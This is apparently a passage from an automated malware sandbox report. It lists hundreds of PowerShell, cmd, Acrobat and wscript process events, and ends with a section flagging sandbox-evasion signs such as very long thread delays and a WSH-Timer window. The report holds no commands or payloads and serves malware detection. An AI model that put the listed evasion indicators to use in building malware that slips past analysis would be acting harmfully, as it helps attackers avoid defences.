Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4244			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1784			Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 4871			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6425			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3355			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6704
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2959

Source: C:\Windows\System32\cmd.exe TID: 7156	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5956	Thread sleep count: 4244 > 30			Jump to behavior
